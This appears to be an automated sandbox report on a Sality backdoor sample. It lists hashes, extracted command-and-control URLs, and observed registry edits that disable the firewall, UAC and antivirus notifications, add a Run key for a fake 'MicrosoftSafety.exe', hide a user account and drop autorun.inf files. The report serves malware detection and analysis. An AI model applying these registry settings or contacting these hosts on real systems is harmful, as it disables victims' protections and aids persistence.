sality | c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0

Analysis

max time kernel
118s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-12-2024 20:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Size

272KB
MD5

ca3e0b7972500c8f064282b09f5b9210
SHA1

3dbf909e123a4a45a7232fcaadfb340ff054a032
SHA256

c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0
SHA512

2f049fc83b34ece0955e3f06cc99cd98dea2e99722d32de0828e50a9d22f0d644d0320bf08efca21ea86315f9298b6a3d217eb09cee16f47bf0b83257ea31acd
SSDEEP

3072:bnLyV3kF21im+YLzLyV3IlaaU7ZDNZSM5RtHFCD:b4QmpctvNT5f4

Score

10^/10

sality backdoor defense_evasion discovery evasion persistence trojan upx

Malware Config

Extracted

Family

sality

http://89.119.67.154/testo5/

http://kukutrustnet777.info/home.gif

http://kukutrustnet888.info/home.gif

http://kukutrustnet987.info/home.gif

Signatures

Modifies firewall policy service 3 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Modifies visibility of file extensions in Explorer 2 TTPs 15 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 15 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Sality
Sality is backdoor written in C++, first discovered in 2003.
backdoor sality
Sality family
sality

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Sets file to hidden 1 TTPs 9 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
5296	attrib.exe
5504	attrib.exe
5592	attrib.exe
864	attrib.exe
5284	attrib.exe
5260	attrib.exe
5392	attrib.exe
5600	attrib.exe
5580	attrib.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Adds Run key to start application 2 TTPs 29 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = " C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\P:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\Q:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\U:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\G:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\K:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\Z:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\F:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\V:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\W:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\R:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\S:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\Y:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\E:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\N:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\J:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\L:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\M:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\T:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\X:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\H:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\I:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops autorun.inf file 1 TTPs 7 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File created	F:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	attrib.exe
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	F:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist\SYS_4321 = "0"	reg.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2500-1-0x0000000002BE0000-0x0000000003C9A000-memory.dmp	upx
behavioral2/memory/2500-10-0x0000000002BE0000-0x0000000003C9A000-memory.dmp	upx
behavioral2/memory/2500-11-0x0000000002BE0000-0x0000000003C9A000-memory.dmp	upx
behavioral2/memory/2500-17-0x0000000002BE0000-0x0000000003C9A000-memory.dmp	upx
behavioral2/memory/2500-12-0x0000000002BE0000-0x0000000003C9A000-memory.dmp	upx
behavioral2/memory/2500-229-0x0000000002BE0000-0x0000000003C9A000-memory.dmp	upx

Drops file in Program Files directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\e57c2d3	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Windows\SYSTEM.INI	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
